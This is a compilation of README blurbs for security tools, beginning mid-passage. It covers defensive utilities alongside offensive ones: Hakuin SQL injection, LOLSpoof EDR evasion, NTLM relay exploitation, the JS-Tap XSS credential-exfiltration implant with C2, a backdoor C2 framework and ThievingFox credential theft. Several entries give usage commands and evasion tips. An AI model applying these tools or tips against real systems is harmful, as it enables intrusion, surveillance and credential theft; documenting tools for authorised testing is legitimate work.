res = await ext.extract_column_blob(table='users', column='id')
More examples can be found in the tests directory.
Using Hakuin from the Command Line
Hakuin comes with a simple wrapper tool, hk.py, that allows you to use Hakuin's basic functionality directly from the command line. To find out more, run:
python3 hk.py -h
For Researchers
This repository is actively developed to fit the needs of security practitioners. Researchers looking to reproduce the experiments described in our paper should install the frozen version as it contains the original code, experiment scripts, and an instruction manual for reproducing the results.
Cite Hakuin
@inproceedings{hakuin_bsqli, title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models}, author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh}, booktitle={2023 IEEE Security and Privacy Workshops (SPW)}, pages={384--393}, year={2023}, organization={IEEE} }
This tool performs various checks via headers, path normalization, verbs, etc. to attempt to bypass ACL's or URL validation.
It will output the response codes and length for each request, in a nicely organized, color coded way so things are reaable.
I implemented a "Smart Filter" that lets you mute responses that look the same after a certain number of times.
You can now feed it raw HTTP requests that you save to a file from Burp.
Follow me on twitter! @intrudir
Usage
usage: bypassfuzzer.py -h
Specifying a request to test
Best method: Feed it a raw HTTP request from Burp!
Simply paste the request into a file and run the script! - It will parse and use cookies & headers from the request. - Easiest way to authenticate for your requests
LOLSpoof is a an interactive shell program that automatically spoof the command line arguments of the spawned process. Just call your incriminate-looking command line LOLBin (e.g. powershell -w hidden -enc ZwBlAHQALQBwAHIAbwBjAGUA....) and LOLSpoof will ensure that the process creation telemetry appears legitimate and clear.
Why
Process command line is a very monitored telemetry, being thoroughly inspected by AV/EDRs, SOC analysts or threat hunters.
How
Prepares the spoofed command line out of the real one: lolbin.exe " " * sizeof(real arguments)
Spawns that suspended LOLBin with the spoofed command line
Gets the remote PEB address
Gets the address of RTL_USER_PROCESS_PARAMETERS struct
Gets the address of the command line unicode buffer
Overrides the fake command line with the real one
Resumes the main thread
Opsec considerations
Although this simple technique helps to bypass command line detection, it may introduce other suspicious telemetry: 1. Creation of suspended process 2. The new process has trailing spaces (but it's really easy to make it a repeated character or even random data instead) 3. Write to the spawned process with WriteProcessMemory
Build
Built with Nim 1.6.12 (compiling with Nim 2.X yields errors!)
nimble install winim
Known issue
Programs that clear or change the previous printed console messages (such as timeout.exe 10) breaks the program. when such commands are employed, you'll need to restart the console. Don't know how to fix that, open to suggestions.
SQLMC (SQL Injection Massive Checker) is a tool designed to scan a domain for SQL injection vulnerabilities. It crawls the given URL up to a specified depth, checks each link for SQL injection vulnerabilities, and reports its findings.
Features
Scans a domain for SQL injection vulnerabilities
Crawls the given URL up to a specified depth
Checks each link for SQL injection vulnerabilities
Reports vulnerabilities along with server information and depth
Installation
Install the required dependencies: bash pip3 install sqlmc
Usage
Run sqlmc with the following command-line arguments:
-u, --url: The URL to scan (required)
-d, --depth: The depth to scan (required)
-o, --output: The output file to save the results
Example usage:
sqlmc -u http://example.com -d 2
Replace http://example.com with the URL you want to scan and 3 with the desired depth of the scan. You can also specify an output file using the -o or --output flag followed by the desired filename.
The tool will then perform the scan and display the results.
BadExclusionsNWBO is an evolution from BadExclusions to identify folder custom or undocumented exclusions on AV/EDR.
How it works?
BadExclusionsNWBO copies and runs Hook_Checker.exe in all folders and subfolders of a given path. You need to have Hook_Checker.exe on the same folder of BadExclusionsNWBO.exe.
Hook_Checker.exe returns the number of EDR hooks. If the number of hooks is 7 or less means folder has an exclusion otherwise the folder is not excluded.
Original idea?
Since the release of BadExclusions I've been thinking on how to achieve the same results without creating that many noise. The solution came from another tool, https://github.com/asaurusrex/Probatorum-EDR-Userland-Hook-Checker.
If you download Probatorum-EDR-Userland-Hook-Checker and you run it inside a regular folder and on folder with an specific type of exclusion you will notice a huge difference. All the information is on the Probatorum repository.
Requirements
Each vendor apply exclusions on a different way. In order to get the list of folder exclusions an specific type of exclusion should be made. Not all types of exclusion and not all the vendors remove the hooks when they exclude a folder.
The user who runs BadExclusionsNWBO needs write permissions on the excluded folder in order to write Hook_Checker file and get the results.
Presented at CODE BLUE 2023, this project titled Enhanced Vulnerability Hunting in WDM Drivers with Symbolic Execution and Taint Analysis introduces IOCTLance, a tool that enhances its capacity to detect various vulnerability types in Windows Driver Model (WDM) drivers. In a comprehensive evaluation involving 104 known vulnerable WDM drivers and 328 unknow n ones, IOCTLance successfully unveiled 117 previously unidentified vulnerabilities within 26 distinct drivers. As a result, 41 CVEs were reported, encompassing 25 cases of denial of service, 5 instances of insufficient access control, and 11 examples of elevation of privilege.
positional arguments: path dir (including subdirectory) or file path to the driver(s) to analyze
optional arguments: -h, --help show this help message and exit -i IOCTLCODE, --ioctlcode IOCTLCODE analyze specified IoControlCode (e.g. 22201c) -T TOTAL_TIMEOUT, --total_timeout TOTAL_TIMEOUT total timeout for the whole symbolic execution (default 1200, 0 to unlimited) -t TIMEOUT, --timeout TIMEOUT timeout for analyze each IoControlCode (default 40, 0 to unlimited) -l LENGTH, --length LENGTH the limit of number of instructions for technique L engthLimiter (default 0, 0 to unlimited) -b BOUND, --bound BOUND the bound for technique LoopSeer (default 0, 0 to unlimited) -g GLOBAL_VAR, --global_var GLOBAL_VAR symbolize how many bytes in .data section (default 0 hex) -a ADDRESS, --address ADDRESS address of ioctl handler to directly start hunting with blank state (e.g. 140005c20) -e EXCLUDE, --exclude EXCLUDE exclude function address split with , (e.g. 140005c20,140006c20) -o, --overwrite overwrite x.sys.json if x.sys has been analyzed (default False) -r, --recursion do not kill state if detecting recursion (default False) -c, --complete get complete base state (default False) -d, --debug print debug info while analyzing (default False)
NTLM Relay Gat is a powerful tool designed to automate the exploitation of NTLM relays using ntlmrelayx.py from the Impacket tool suite. By leveraging the capabilities of ntlmrelayx.py, NTLM Relay Gat streamlines the process of exploiting NTLM relay vulnerabilities, offering a range of functionalities from listing SMB shares to executing commands on MSSQL databases.
Features
Multi-threading Support: Utilize multiple threads to perform actions concurrently.
SMB Shares Enumeration: List available SMB shares.
SMB Shell Execution: Execute a shell via SMB.
Secrets Dumping: Dump secrets from the target.
MSSQL Database Enumeration: List available MSSQL databases.
MSSQL Command Execution: Execute operating system commands via xp_cmdshell or start SQL Server Agent jobs.
Prerequisites
Before you begin, ensure you have met the following requirements:
proxychains properly configured with ntlmrelayx SOCKS relay port
Python 3.6+
Installation
To install NTLM Relay Gat, follow these steps:
Ensure that Python 3.6 or higher is installed on your system.
Clone NTLM Relay Gat repository:
git clone https://github.com/ad0nis/ntlm_relay_gat.git cd ntlm_relay_gat
Install dependencies, if you don't have them installed already:
pip install -r requirements.txt
NTLM Relay Gat is now installed and ready to use.
Usage
To use NTLM Relay Gat, make sure you've got relayed sessions in ntlmrelayx.py's socks command output and that you have proxychains configured to use ntlmrelayx.py's proxy, and then execute the script with the desired options. Here are some examples of how to run NTLM Relay Gat:
# List available SMB shares using 10 threads python ntlm_relay_gat.py --smb-shares -t 10
# Execute a shell via SMB python ntlm_relay_gat.py --smb-shell --shell-path /path/to/shell
# Dump secrets from the target python ntlm_relay_gat.py --dump-secrets
# List available MSSQL databases python ntlm_relay_gat.py --mssql-dbs
# Execute an operating system command via xp_cmdshell python ntlm_relay_gat.py --mssql-exec --mssql-method 1 --mssql-command 'whoami'
Disclaimer
NTLM Relay Gat is intended for educational and ethical penetration testing purposes only. Usage of NTLM Relay Gat for attacking targets without prior mutual consent is illegal. The developers of NTLM Relay Gat assume no liability and are not responsible for any misuse or damage caused by this tool.
License
This project is licensed under the MIT License - see the LICENSE file for details.
A command line Windows API tracing tool for Golang binaries.
Note: This tool is a PoC and a work-in-progress prototype so please treat it as such. Feedbacks are always welcome!
How it works?
Although Golang programs contains a lot of nuances regarding the way they are built and their behavior in runtime they still need to interact with the OS layer and that means at some point they do need to call functions from the Windows API.
The Go runtime package contains a function called asmstdcall and this function is a kind of "gateway" used to interact with the Windows API. Since it's expected this function to call the Windows API functions we can assume it needs to have access to information such as the address of the function and it's parameters, and this is where things start to get more interesting.
Asmstdcall receives a single parameter which is pointer to something similar to the following structure:
Some of these fields are filled after the API function is called, like the return value, others are received by asmstdcall, like the function address, the number of arguments and the list of arguments. Regardless when those are set it's clear that the asmstdcall function manipulates a lot of interesting information regarding the execution of programs compiled in Golang.
The gftrace leverages asmstdcall and the way it works to monitor specific fields of the mentioned struct and log it to the user. The tool is capable of log the function name, it's parameters and also the return value of each Windows function called by a Golang application. All of it with no need to hook a single API function or have a signature for it.
The tool also tries to ignore all the noise from the Go runtime initialization and only log functions called after it (i.e. functions from the main package).
If you want to know more about this project and research check the blogpost.
Make sure gftrace.exe, gftrace.dll and gftrace.cfg are in the same directory.
Specify which API functions you want to trace in the gftrace.cfg file (the tool does not work without API filters applied).
Run gftrace.exe passing the target Golang program path as a parameter.
gftrace.exe <filepath> <params>
Configuration
All you need to do is specify which functions you want to trace in the gftrace.cfg file, separating it by comma with no spaces:
CreateFileW,ReadFile,CreateProcessW
The exact Windows API functions a Golang method X of a package Y would call in a specific scenario can only be determined either by analysis of the method itself or trying to guess it. There's some interesting characteristics that can be used to determine it, for example, Golang applications seems to always prefer to call functions from the "Wide" and "Ex" set (e.g. CreateFileW, CreateProcessW, GetComputerNameExW, etc) so you can consider it during your analysis.
The default config file contains multiple functions in which I tested already (at least most part of them) and can say for sure they can be called by a Golang application at some point. I'll try to update it eventually.
Examples
Tracing CreateFileW() and ReadFile() in a simple Golang file that calls "os.ReadFile" twice:
[x] Add support to files calling functions via the "IAT jmp table" instead of the API call directly in asmstdcall.
[x] Add support to cmdline parameters for the target process
[ ] Send the tracing log output to a file by default to make it better to filter. Currently there's no separation between the target file and gftrace output. An alternative is redirect gftrace output to a file using the command line.
:warning: Warning
The tool inspects the target binary dynamically and it means the file being traced is executed. If you're inspecting a malware or an unknown software please make sure you do it in a controlled environment.
Golang programs can be very noisy depending the file and/or function being traced (e.g. VirtualAlloc is always called multiple times by the runtime package, CreateFileW is called multiple times before a call to CreateProcessW, etc). The tool ignores the Golang runtime initialization noise but after that it's up to the user to decide what functions are better to filter in each scenario.
License
The gftrace is published under the GPL v3 License. Please refer to the file named LICENSE for more information.
HardeningMeter is an open-source Python tool carefully designed to comprehensively assess the security hardening of binaries and systems. Its robust capabilities include thorough checks of various binary exploitation protectionmechanisms, including Stack Canary, RELRO, randomizations (ASLR, PIC, PIE), None Exec Stack, Fortify, ASAN, NX bit. This tool is suitable for all types of binaries and provides accurate information about the hardening status of each binary, identifying those that deserve attention and those with robust security measures. Hardening Meter supports all Linux distributions and machine-readable output, the results can be printed to the screen a table format or be exported to a csv. (For more information see Documentation.md file)
Execute Scanning Example
Scan the '/usr/bin' directory, the '/usr/sbin/newusers' file, the system and export the results to a csv file.
python3 HardeningMeter.py -f /bin/cp -s
Installation Requirements
Before installing HardeningMeter, make sure your machine has the following: 1. readelf and file commands 2. python version 3 3. pip 4. tabulate
pip install tabulate
Install HardeningMeter
The very latest developments can be obtained via git.
Clone or download the project files (no compilation nor installation is required)
Specify the files you want to scan, the argument can get more than one file seperated by spaces.
-d --directory
Specify the directory you want to scan, the argument retrieves one directory and scan all ELF files recursively.
-e --external
Specify whether you want to add external checks (False by default).
-m --show_missing
Prints according to the order, only those files that are missing security hardening mechanisms and need extra attention.
-s --system
Specify if you want to scan the system hardening methods.
-c --csv_format'
Specify if you want to save the results to csv file (results are printed as a table to stdout by default).
Results
HardeningMeter's results are printed as a table and consisted of 3 different states: - (X) - This state indicates that the binary hardening mechanism is disabled. - (V) - This state indicates that the binary hardening mechanism is enabled. - (-) - This state indicates that the binary hardening mechanism is not relevant in this particular case.
Notes
When the default language on Linux is not English make sure to add "LC_ALL=C" before calling the script.
JavaScript payload and supporting software to be used as XSS payload or post exploitation implant to monitor users as they use the targeted application. Also includes a C2 for executing custom JavaScript payloads in clients.
You can read the original blog post about JS-Tap here: javascript-for-red-teams">https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams
I do not plan on creating migration scripts for the database, and version number bumps often involve database schema changes (check the changelogs). You should probably delete your jsTap.db database on version bumps. If you have custom payloads in your JS-Tap server, make sure you export them before the upgrade.
Introduction
JS-Tap is a generic JavaScript payload and supporting software to help red teamers attack webapps. The JS-Tap payload can be used as an XSS payload or as a post exploitation implant.
The payload does not require the targeted user running the payload to be authenticated to the application being attacked, and it does not require any prior knowledge of the application beyond finding a way to get the JavaScript into the application.
Instead of attacking the application server itself, JS-Tap focuses on the client-side of the application and heavily instruments the client-side code.
The example JS-Tap payload is contained in the telemlib.js file in the payloads directory, however any file in this directory is served unauthenticated. Copy the telemlib.js file to whatever filename you wish and modify the configuration as needed. This file has not been obfuscated. Prior to using in an engagement strongly consider changing the naming of endpoints, stripping comments, and highly obfuscating the payload.
Make sure you review the configuration section below carefully before using on a publicly exposed server.
Data Collected
Client IP address, OS, Browser
User inputs (credentials, etc.)
URLs visited
Cookies (that don't have httponly flag set)
Local Storage
Session Storage
HTML code of pages visited (if feature enabled)
Screenshots of pages visited
Copy of Form Submissions
Copy of XHR API calls (if monkeypatch feature enabled)
Endpoint
Method (GET, POST, etc.)
Headers set
Request body and response body
Copy of Fetch API calls (if monkeypatch feature enabled)
Endpoint
Method (GET, POST, etc.)
Headers set
Request body and response body
Note: ability to receive copies of XHR and Fetch API calls works in trap mode. In implant mode only Fetch API can be copied currently.
Operating Modes
The payload has two modes of operation. Whether the mode is trap or implant is set in the initGlobals() function, search for the window.taperMode variable.
Trap Mode
Trap mode is typically the mode you would use as a XSS payload. Execution of XSS payloads is often fleeting, the user viewing the page where the malicious JavaScript payload runs may close the browser tab (the page isn't interesting) or navigate elsewhere in the application. In both cases, the payload will be deleted from memory and stop working. JS-Tap needs to run a long time or you won't collect useful data.
Trap mode combats this by establishing persistence using an iFrame trap technique. The JS-Tap payload will create a full page iFrame, and start the user elsewhere in the application. This starting page must be configured ahead of time. In the initGlobals() function search for the window.taperstartingPage variable and set it to an appropriate starting location in the target application.
In trap mode JS-Tap monitors the location of the user in the iframe trap and it spoofs the address bar of the browser to match the location of the iframe.
Note that the application targeted must allow iFraming from same-origin or self if it's setting CSP or X-Frame-Options headers. JavaScript based framebusters can also prevent iFrame traps from working.
Note, I've had good luck using Trap Mode for a post exploitation implant in very specific locations of an application, or when I'm not sure what resources the application is using inside the authenticated section of the application. You can put an implant in the login page, with trap mode and the trap mode start page set to window.location.href (i.e. current location). The trap will set when the user visits the login page, and they'll hopefully contine into the authenticated portions of the application inside the iframe trap.
A user refreshing the page will generally break/escape the iframe trap.
Implant Mode
Implant mode would typically be used if you're directly adding the payload into the targeted application. Perhaps you have a shell on the server that hosts the JavaScript files for the application. Add the payload to a JavaScript file that's used throughout the application (jQuery, main.js, etc.). Which file would be ideal really depends on the app in question and how it's using JavaScript files. Implant mode does not require a starting page to be configured, and does not use the iFrame trap technique.
A user refreshing the page in implant mode will generally continue to run the JS-Tap payload.
Installation and Start
Requires python3. A large number of dependencies are required for the jsTapServer, you are highly encouraged to use python virtual environments to isolate the libraries for the server software (or whatever your preferred isolation method is).
Example:
mkdir jsTapEnvironment python3 -m venv jsTapEnvironment source jsTapEnvironment/bin/activate cd jsTapEnvironment git clone https://github.com/hoodoer/JS-Tap cd JS-Tap pip3 install -r requirements.txt
run in debug/single thread mode: python3 jsTapServer.py
run with gunicorn multithreaded (production use): ./jstapRun.sh
A new admin password is generated on startup. If you didn't catch it in the startup print statements you can find the credentials saved to the adminCreds.txt file.
If an existing database is found by jsTapServer on startup it will ask you if you want to keep existing clients in the database or drop those tables to start fresh.
Note that on Mac I also had to install libmagic outside of python.
brew install libmagic
Playing with JS-Tap locally is fine, but to use in a proper engagment you'll need to be running JS-Tap on publicly accessible VPS and setup JS-Tap with PROXYMODE set to True. Use NGINX on the front end to handle a valid certificate.
Configuration
JS-Tap Server Configuration
Debug/Single thread config
If you're running JS-Tap with the jsTapServer.py script in single threaded mode (great for testing/demos) there are configuration options directly in the jsTapServer.py script.
Proxy Mode
For production use JS-Tap should be hosted on a publicly available server with a proper SSL certificate from someone like letsencrypt. The easiest way to deploy this is to allow NGINX to act as a front-end to JS-Tap and handle the letsencrypt cert, and then forward the decrypted traffic to JS-Tap as HTTP traffic locally (i.e. NGINX and JS-Tap run on the same VPS).
If you set proxyMode to true, JS-Tap server will run in HTTP mode, and take the client IP address from the X-Forwarded-For header, which NGINX needs to be configured to set.
When proxyMode is set to false, JS-Tap will run with a self-signed certificate, which is useful for testing. The client IP will be taken from the source IP of the client.
Data Directory
The dataDirectory parameter tells JS-Tap where the directory is to use for the SQLite database and loot directory. Not all "loot" is stored in the database, screenshots and scraped HTML files in particular are not.
Server Port
To change the server port configuration see the last line of jsTapServer.py
Gunicorn is the preferred means of running JS-Tap in production. The same settings mentioned above can be set in the jstapRun.sh bash script. Values set in the startup script take precedence over the values set directly in the jsTapServer.py script when JS-Tap is started with the gunicorn startup script.
A big difference in configuration when using Gunicorn for serving the application is that you need to configure the number of workers (heavy weight processes) and threads (lightweight serving processes). JS-Tap is a very I/O heavy application, so using threads in addition to workers is beneficial in scaling up the application on multi-processor machines. Note that if you're using NGINX on the same box you need to configure NGNIX to also use multiple processes so you don't bottleneck on the proxy itself.
At the top of the jstapRun.sh script are the numWorkers and numThreads parameters. I like to use number of CPUs + 1 for workers, and 4-8 threads depending on how beefy the processors are. For NGINX in its configuration I typically set worker_processes auto;
Proxy Mode is set by the PROXYMODE variable, and the data directory with the DATADIRECTORY variable. Note the data directory variable needs a trailing '/' added.
Using the gunicorn startup script will use a self-signed cert when started with PROXYMODE set to False. You need to generate that self-signed cert first with: openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
telemlib.js Configuration
These configuration variables are in the initGlobals() function.
JS-Tap Server Location
You need to configure the payload with the URL of the JS-Tap server it will connect back to.
If you want the trap to start on the current page, instead of redirecting the user to a different page in the iframe trap, you can use:
window.taperstartingPage = window.location.href;
Client Tag
Useful if you're using JS-Tap against multiple applications or deployments at once and want a visual indicator of what payload was loaded. Remember that the entire /payloads directory is served, you can have multiple JS-Tap payloads configured with different modes, start pages, and clien tags.
This tag string (keep it short!) is prepended to the client nickname in the JS-Tap portal. Setup multiple payloads, each with the appropriate configuration for the application its being used against, and add a tag indicating which app the client is running.
window.taperTag = 'whatever';
Custom Payload Tasks
Used to set if clients are checking for Custom Payload tasks, and how often they're checking. The jitter settings Let you optionally set a floor and ceiling modifier. A random value between these two numbers will be picked and added to the check delay. Set these to 0 and 0 for no jitter.
true/false setting on whether a copy of the HTML code of each page viewed is exfiltrated.
window.taperexfilHTML = true;
Copy Form Submissions
true/false setting on whether to intercept a copy of all form posts.
window.taperexfilFormSubmissions = true;
MonkeyPatch APIs
Enable monkeypatching of XHR and Fetch APIs. This works in trap mode. In implant mode, only Fetch APIs are monkeypatched. Monkeypatching allows JavaScript to be rewritten at runtime. Enabling this feature will re-write the XHR and Fetch networking APIs used by JavaScript code in order to tap the contents of those network calls. Not that jQuery based network calls will be captured in the XHR API, which jQuery uses under the hood for network calls.
window.monkeyPatchAPIs = true;
Screenshot after API calls
By default JS-Tap will capture a new screenshot after the user navigates to a new page. Some applications do not change their path when new data is loaded, which would cause missed screenshots. JS-Tap can be configured to capture a new screenshot after an XHR or Fetch API call is made. These API calls are often used to retrieve new data to display. Two settings are offered, one to enable the "after API call screenshot", and a delay in milliseconds. X milliseconds after the API call JS-Tap will capture the new screenshot.
Login with the admin credentials provided by the server script on startup.
Clients show up on the left, selecting one will show a time series of their events (loot) on the right.
The clients list can be sorted by time (first seen, last update received) and the list can be filtered to only show the "starred" clients. There is also a quick filter search above the clients list that allows you to quickly filter clients that have the entered string. Useful if you set an optional tag in the payload configuration. Optional tags show up prepended to the client nickname.
Each client has an 'x' button (near the star button). This allows you to delete the session for that client, if they're sending junk or useless data, you can prevent that client from submitting future data.
When the JS-Tap payload starts, it retrieves a session from the JS-Tap server. If you want to stop all new client sessions from being issues, select Session Settings at the top and you can disable new client sessions. You can also block specific IP addresses from receiving a session in here.
Each client has a "notes" feature. If you find juicy information for that particular client (credentials, API tokens, etc) you can add it to the client notes. After you've reviewed all your clients and made you notes, the View All Notes feature at the top allows you to export all notes from all clients at once.
The events list can be filtered by event type if you're trying to focus on something specific, like screenshots. Note that the events/loot list does not automatically update (the clients list does). If you want to load the latest events for the client you need to select the client again on the left.
Custom Payloads
Starting in version 1.02 there is a custom payload feature. Multiple JavaScript payloads can be added in the JS-Tap portal and executed on a single client, all current clients, or set to autorun on all future clients. Payloads can be written/edited within the JS-Tap portal, or imported from a file. Payloads can also be exported. The format for importing payloads is simple JSON. The JavaScript code and description are simply base64 encoded.
The main user interface for custom payloads is from the top menu bar. Select Custom Payloads to open the interface. Any existing payloads will be shown in a list on the left. The button bar allows you to import and export the list. Payloads can be edited on the right side. To load an existing payload for editing select the payload by clicking on it in the Saved Payloads list. Once you have payloads defined and saved, you can execute them on clients.
In the main Custom Payloads view you can launch a payload against all current clients (the Run Payload button). You can also toggle on the Autorun attribute of a payload, which means that all new clients will run the payload. Note that existing clients will not run a payload based on the Autorun setting.
You can toggle on Repeat Payload and the payload will be tasked for each client when they check for tasks. Remember, the rate that a client checks for custom payload tasks is variable, and that rate can be changed in the main JS-Tap payload configuration. That rate can be changed with a custom payload (calling the updateTaskCheckInterval(newDelay) function). The jitter in the task check delay can be set with the updateTaskCheckJitter(newTop, newBottom) function.
The Clear All Jobs button in the custom payload UI will delete all custom payload jobs from the queue for all clients and resets the auto/repeat run toggles.
To run a payload on a single client user the Run Payload button on the specific client you wish to run it on, and then hit the run button for the specific payload you wish to use. You can also set Repeat Payload on individual clients.
Tools
A few tools are included in the tools subdirectory.
clientSimulator.py
A script to stress test the jsTapServer. Good for determining roughly how many clients your server can handle. Note that running the clientSimulator script is probably more resource intensive than the actual jsTapServer, so you may wish to run it on a separate machine.
At the top of the script is a numClients variable, set to how many clients you want to simulator. The script will spawn a thread for each, retrieve a client session, and send data in simulating a client.
numClients = 50
You'll also need to configure where you're running the jsTapServer for the clientSimulator to connect to:
apiServer = "https://127.0.0.1:8444"
JS-Tap run using gunicorn scales quite well.
MonkeyPatchApp
A simple app used for testing XHR/Fetch monkeypatching, but can give you a simple app to test the payload against in general.
Run with:
python3 monkeyPatchLab.py
By default this will start the application running on:
https://127.0.0.1:8443
Pressing the "Inject JS-Tap payload" button will run the JS-Tap payload. This works for either implant or trap mode. You may need to point the monkeyPatchLab application at a new JS-Tap server location for loading the payload file, you can find this set in the injectPayload() function in main.js
function injectPayload() { document.head.appendChild(Object.assign(document.createElement('script'), {src:'https://127.0.0.1:8444/lib/telemlib.js',type:'text/javascript'})); }
formParser.py
Abandoned tool, is a good start on analyzing HTML for forms and parsing out their parameters. Intended to help automatically generate JavaScript payloads to target form posts.
You should be able to run it on exfiltrated HTML files. Again, this is currently abandonware.
generateIntelReport.py
No longer working, used before the web UI for JS-Tap. The generateIntelReport script would comb through the gathered loot and generate a PDF report. Saving all the loot to disk is now disabled for performance reasons, most of it is stored in the datagbase with the exception of exfiltratred HTML code and screenshots.
MasterParser stands as a robust Digital Forensics and Incident Response tool meticulously crafted for the analysis of Linux logs within the var/log directory. Specifically designed to expedite the investigative process for security incidents on Linux systems, MasterParser adeptly scans supported logs, such as auth.log for example, extract critical details including SSH logins, user creations, event names, IP addresses and much more. The tool's generated summary presents this information in a clear and concise format, enhancing efficiency and accessibility for Incident Responders. Beyond its immediate utility for DFIR teams, MasterParser proves invaluable to the broader InfoSec and IT community, contributing significantly to the swift and comprehensive assessment of security events on Linux platforms.
MasterParser Wallpapers
Love MasterParser as much as we do? Dive into the fun and jazz up your screen with our exclusive MasterParser wallpaper! Click the link below and get ready to add a splash of excitement to your device! Download Wallpaper
Supported Logs Format
This is the list of supported log formats within the var/log directory that MasterParser can analyze. In future updates, MasterParser will support additional log formats for analysis. |Supported Log Formats List| | --- | | auth.log |
Feature & Log Format Requests:
If you wish to propose the addition of a new feature \ log format, kindly submit your request by creating an issue Click here to create a request
How To Use ?
How To Use - Text Guide
From this GitHub repository press on "<> Code" and then press on "Download ZIP".
From "MasterParser-main.zip" export the folder "MasterParser-main" to you Desktop.
Open a PowerSehll terminal and navigate to the "MasterParser-main" folder.
# How to navigate to "MasterParser-main" folder from the PS terminal PS C:\> cd "C:\Users\user\Desktop\MasterParser-main\"
Now you can execute the tool, for example see the tool command menu, do this:
# How to show MasterParser menu PS C:\Users\user\Desktop\MasterParser-main> .\MasterParser.ps1 -O Menu
To run the tool, put all your /var/log/* logs in to the 01-Logs folder, and execute the tool like this:
# How to run MasterParser PS C:\Users\user\Desktop\MasterParser-main> .\MasterParser.ps1 -O Start
The C2 Cloud is a robust web-based C2 framework, designed to simplify the life of penetration testers. It allows easy access to compromised backdoors, just like accessing an EC2 instance in the AWS cloud. It can manage several simultaneous backdoor sessions with a user-friendly interface.
C2 Cloud is open source. Security analysts can confidently perform simulations, gaining valuable experience and contributing to the proactive defense posture of their organizations.
π Anywhere Access: Reach the C2 Cloud from any location. π Multiple Backdoor Sessions: Manage and support multiple sessions effortlessly. π±οΈ One-Click Backdoor Access: Seamlessly navigate to backdoors with a simple click. π Session History Maintenance: Track and retain complete command and response history for comprehensive analysis.
Tech Stack
π οΈ Flask: Serving web and API traffic, facilitating reverse HTTP(s) requests. π TCP Socket: Serving reverse TCP requests for enhanced functionality. π Nginx: Effortlessly routing traffic between web and backend systems. π¨ Redis PubSub: Serving as a robust message broker for seamless communication. π Websockets: Delivering real-time updates to browser clients for enhanced user experience. πΎ Postgres DB: Ensuring persistent storage for seamless continuity.
Architecture
Application setup
Management port: 9000
Reversse HTTP port: 8000
Reverse TCP port: 8888
Clone the repo
Optional: Update chait_id, bot_token in c2-telegram/config.yml
Execute docker-compose up -d to start the containers Note: The c2-api service will not start up until the database is initialized. If you receive 500 errors, please try after some time.
Automate the process of analyzing web server logs with the Python Web Log Analyzer. This powerful tool is designed to enhance security by identifying and detecting various types of cyber attacks within your server logs. Stay ahead of potential threats with features that include:
Features
Attack Detection: Identify and flag potential Cross-Site Scripting (XSS), Local File Inclusion (LFI), Remote File Inclusion (RFI), and other common web application attacks.
Rate Limit Monitoring: Detect suspicious patterns in multiple requests made in a short time frame, helping to identify brute-force attacks or automated scanning tools.
Automated Scanner Detection: Keep your web applications secure by identifying requests associated with known automated scanning tools or vulnerability scanners.
User-Agent Analysis: Analyze and identify potentially malicious User-Agent strings, allowing you to spot unusual or suspicious behavior.
Future Features
This project is actively developed, and future features may include:
IP Geolocation: Identify the geographic location of IP addresses in the logs.
Real-time Monitoring: Implement real-time monitoring capabilities for immediate threat detection.
After cloning the repository to your local machine, you can initiate the application by executing the command python3 WLA-cli.py. simple usage example : python3 WLA-cli.py -l LogSampls/access.log -t
use -h or --help for more detailed usage examples : python3 WLA-cli.py -h
ThievingFox is a collection of post-exploitation tools to gather credentials from various password managers and windows utilities. Each module leverages a specific method of injecting into the target process, and then hooks internals functions to gather crendentials.
.NET development environment must also be installed. From Visual Studio, navigate to Tools > Get Tools And Features > Install ".NET desktop development"
Finally, python dependancies must be installed :
pip install -r client/requirements.txt
ThievingFox works with python >= 3.11
NOTE : On a Windows host, in order to use the KeePass module, msbuild must be available in the PATH. This can be achieved by running the client from within a Visual Studio Developper Powershell (Tools > Command Line > Developper Powershell)
Targets
All modules have been tested on the following Windows versions :
Windows Version
Windows Server 2022
Windows Server 2019
Windows Server 2016
Windows Server 2012R2
Windows 10
Windows 11
[!CAUTION] Modules have not been tested on other version, and are expected to not work.
Application
Injection Method
KeePass.exe
AppDomainManager Injection
KeePassXC.exe
DLL Proxying
LogonUI.exe (Windows Login Screen)
COM Hijacking
consent.exe (Windows UAC Popup)
COM Hijacking
mstsc.exe (Windows default RDP client)
COM Hijacking
RDCMan.exe (Sysinternals' RDP client)
COM Hijacking
MobaXTerm.exe (3rd party RDP client)
COM Hijacking
Usage
[!CAUTION] Although I tried to ensure that these tools do not impact the stability of the targeted applications, inline hooking and library injection are unsafe and this might result in a crash, or the application being unstable. If that were the case, using the cleanup module on the target should be enough to ensure that the next time the application is launched, no injection/hooking is performed.
ThievingFox contains 3 main modules : poison, cleanup and collect.
Poison
For each application specified in the command line parameters, the poison module retrieves the original library that is going to be hijacked (for COM hijacking and DLL proxying), compiles a library that has matches the properties of the original DLL, uploads it to the server, and modify the registry if needed to perform COM hijacking.
To speed up the process of compilation of all libraries, a cache is maintained in client/cache/.
--mstsc, --rdcman, and --mobaxterm have a specific option, respectively --mstsc-poison-hkcr, --rdcman-poison-hkcr, and --mobaxterm-poison-hkcr. If one of these options is specified, the COM hijacking will replace the registry key in the HKCR hive, meaning all users will be impacted. By default, only all currently logged in users are impacted (all users that have a HKCU hive).
--keepass and --keepassxc have specific options, --keepass-path, --keepass-share, and --keepassxc-path, --keepassxc-share, to specify where these applications are installed, if it's not the default installation path. This is not required for other applications, since COM hijacking is used.
The KeePass modules requires the Visual C++ Redistributable to be installed on the target.
Multiple applications can be specified at once, or, the --all flag can be used to target all applications.
[!IMPORTANT] Remember to clean the cache if you ever change the --tempdir parameter, since the directory name is embedded inside native DLLs.
positional arguments: target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]
